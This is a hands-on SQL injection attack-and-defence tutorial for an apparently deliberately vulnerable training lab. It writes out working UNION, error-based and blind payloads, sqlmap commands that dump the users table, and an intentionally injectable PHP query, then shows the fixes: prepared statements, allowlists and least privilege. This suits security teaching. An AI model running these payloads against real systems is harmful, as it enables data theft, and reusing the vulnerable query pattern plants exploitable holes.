SQL injection: a practical attack & defense guide
A hands-on walkthrough you can follow live against sekumart itself. Every payload below works on this site at security level low — flip the level to impossible and hit view source on any page to see the fix side by side.
1. What is SQL injection?
SQL injection (SQLi) happens when untrusted input is concatenated into a SQL statement, so an attacker can change the structure of the query rather than just supplying data. It is OWASP Top 10 A03:2021 – Injection and remains one of the highest-impact web weaknesses: depending on the database and privileges it can leak every row in the database, bypass authentication, and sometimes read or write files and run commands.
The root cause is always the same — data and code are mixed in the same string:
// vulnerable (this is literally sekumart's /product.php at level "low") $q = "SELECT id, name, price, description FROM products WHERE id = " . $_GET['id'];
Request ?id=1 and the query ends in WHERE id = 1. Request
?id=1 OR 1=1 and it becomes WHERE id = 1 OR 1=1 — you just changed the logic.
2. Finding an injection point
Probe a parameter with characters that are meaningful in SQL and watch for a change in behaviour (an error, a different result set, or a different response length). Classic first tests:
/product.php?id=1' → broken quote may raise a SQL error /product.php?id=1 AND 1=1 → TRUE → same page as id=1 /product.php?id=1 AND 1=2 → FALSE → "no such product"
If TRUE and FALSE conditions produce reliably different responses, the parameter is injectable. On sekumart you can see this immediately: id=1 AND 1=1 shows the product, id=1 AND 1=2 does not.
3. Injection techniques
How you extract data depends on what the application gives back:
- In-band — UNION based: when results are rendered, append
UNION SELECTto graft your own columns onto the output. Requires matching the column count and compatible types. - In-band — error based: when database errors are shown, functions such as MySQL's
EXTRACTVALUE()/UPDATEXML()can be abused to leak data inside the error text. - Inferential — boolean blind: no data is returned, but TRUE/FALSE change the page. You ask the
database yes/no questions one bit at a time (
... AND SUBSTRING(version(),1,1)='1'). - Inferential — time blind: not even TRUE/FALSE differ, so you make the database pause
on TRUE (
... AND SLEEP(3)) and read the answer from the response delay. - Out-of-band (OOB): when in-band and inferential are impossible, force the DB to make a DNS/HTTP request to a server you control. (Not reachable here — sekumart's container has no outbound network.)
sekumart exposes all the in-band and inferential ones: UNION/error on product pages, and boolean/time blind on order tracking (only "found/not found" leaks there, which is exactly the blind scenario).
4. Injection contexts
The payload changes with where your input lands in the query. Each of these is a live, separate lesson on sekumart:
| context | query shape | try it |
|---|---|---|
| Numeric | WHERE id = [input] | /product.php?id=1 |
String / LIKE | LIKE '%[input]%' | /search.php?q=mug |
ORDER BY | ORDER BY [input] (no quotes; UNION won't help) | /catalog.php?sort=name |
| Boolean/time blind | WHERE code='[input]' | /track.php?order=SK-1001 |
| POST (login) | WHERE uname='[input]' | /login.php |
| Cookie | WHERE code='[cookie]' | the curr currency cookie |
| JSON body | WHERE id = [json.id] | POST /apiv1.php |
5. Manual walkthrough (UNION on the product page)
Goal: read the database version and the users table through
/product.php?id=1.
Step 1 — count the columns. Increase ORDER BY until it errors, or test UNION widths.
Here the query selects four columns:
/product.php?id=-1 UNION SELECT 1,2,3,4 → page renders; column 2 is shown as the product name
Step 2 — put data in the visible column (a negative id makes the original row empty, so only your UNION row shows):
/product.php?id=-1 UNION SELECT 1,version(),3,4 /product.php?id=-1 UNION SELECT 1,CONCAT(uname,0x3a,email),3,4 FROM users
Step 3 — error-based works too, because sekumart surfaces SQL errors at level low:
/product.php?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))
The same ideas extract the deliberately-hidden secrets table — that is the
first challenge flag.
6. Automating with sqlmap
Manual testing teaches the concepts; sqlmap automates the grind (technique selection, column counts, encoding, WAF evasion, dumping). Point it at sekumart:
# detect + fingerprint python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --banner # enumerate and dump python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --dbs python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch -D shop -T users --dump # non-URL contexts python sqlmap.py -u "https://sekumart.sekuripy.hr/" --cookie="curr=USD" -p curr --batch python sqlmap.py -u "https://sekumart.sekuripy.hr/login.php" --data="username=x&password=x" --batch python sqlmap.py --openapi "https://sekumart.sekuripy.hr/openapi.json" --batch
7. Defending against SQL injection
You can watch each of these fixes on sekumart by switching the security level to impossible and comparing the source.
7.1 Use parameterized queries (prepared statements) — the primary fix
Never build SQL by string concatenation. Bind parameters so the driver keeps data and code separate:
// PHP / mysqli
$stmt = $db->prepare("SELECT id, name, price FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
// PHP / PDO
$stmt = $pdo->prepare("SELECT id, name, price FROM products WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);
Now id=1 OR 1=1 is treated as the literal string "1 OR 1=1", not as SQL.
Learn more: OWASP Query Parameterization Cheat Sheet · Bobby Tables (per-language) · PHP PDO / mysqli.
7.2 Allowlist things you cannot bind
Identifiers — column and table names, sort direction — cannot be passed as bound
parameters. That is why ORDER BY is a common hole. Map user input to a fixed set of known-good
values instead of interpolating it:
$columns = ['name' => 'name', 'price' => 'price', 'newest' => 'id']; $col = $columns[$_GET['sort']] ?? 'id'; // anything unknown falls back safely $q = "SELECT id, name, price FROM products ORDER BY $col";
Learn more: OWASP Input Validation Cheat Sheet (allow-list section).
7.3 Run with least privilege & harden the database
Contain the blast radius so a bug is not a breach. The application account should hold only the rights it
needs — no FILE, no PROCESS, no DDL. sekumart's DB user has no
FILE privilege and runs with secure_file_priv set, so even a full injection cannot
LOAD_FILE(), write via INTO OUTFILE, or reach --os-shell; single-statement
execution rejects stacked queries like ; DROP TABLE. That is what turns a catastrophic bug into a
read-only one.
Learn more: OWASP Database Security Cheat Sheet.
7.4 Layer your defenses (defense in depth)
Prepared statements fix the root cause; these layers catch the mistakes and blunt the impact when something slips through. Each links to a resource your team can act on today:
| control | what to do | learn more |
|---|---|---|
| Input validation | Validate by type, length, format, and allowlist (an id is a positive integer). A supplement to parameterization, never a replacement for it. | OWASP Input Validation |
| Safe error handling | Never return raw SQL errors — they power error-based extraction and leak your schema. Log server-side, show the user a generic message. | OWASP Error Handling |
| Escaping (last resort) | Only when parameterization is genuinely impossible, and only with the DB-correct routine. Easy to get wrong — prefer binds. | OWASP SQLi Prevention |
| Logging & monitoring | Alert on SQL-error spikes, UNION-style payloads, and abnormal row counts so exploitation is caught early. | OWASP Logging |
| WAF (buys time, not a fix) | A WAF raises the bar but is bypassable (encoding, comments, case). Use it to slow attackers while you fix the code, not instead of fixing it. | OWASP WAF |
| Confine the host | open_basedir plus an egress-null network, so a foothold cannot read host files or pivot outward (exactly as on this lab). | OWASP DB Security |
References & further reading (for defenders)
- OWASP — SQL Injection Prevention Cheat Sheet — start here
- OWASP — Query Parameterization Cheat Sheet — copy-paste examples per language
- Bobby Tables — how to parameterize in virtually every language/framework
- PortSwigger Web Security Academy — SQL injection (free hands-on labs, plus their SQLi cheat sheet)
- OWASP WSTG — Testing for SQL Injection
- OWASP Top 10 — A03:2021 Injection · CWE-89
- PHP manual: PDO prepared statements · mysqli prepared statements
- sqlmap user's manual
Practise everything above right here, then capture the flags on the scoreboard. This lab is built and maintained by SekuriPy.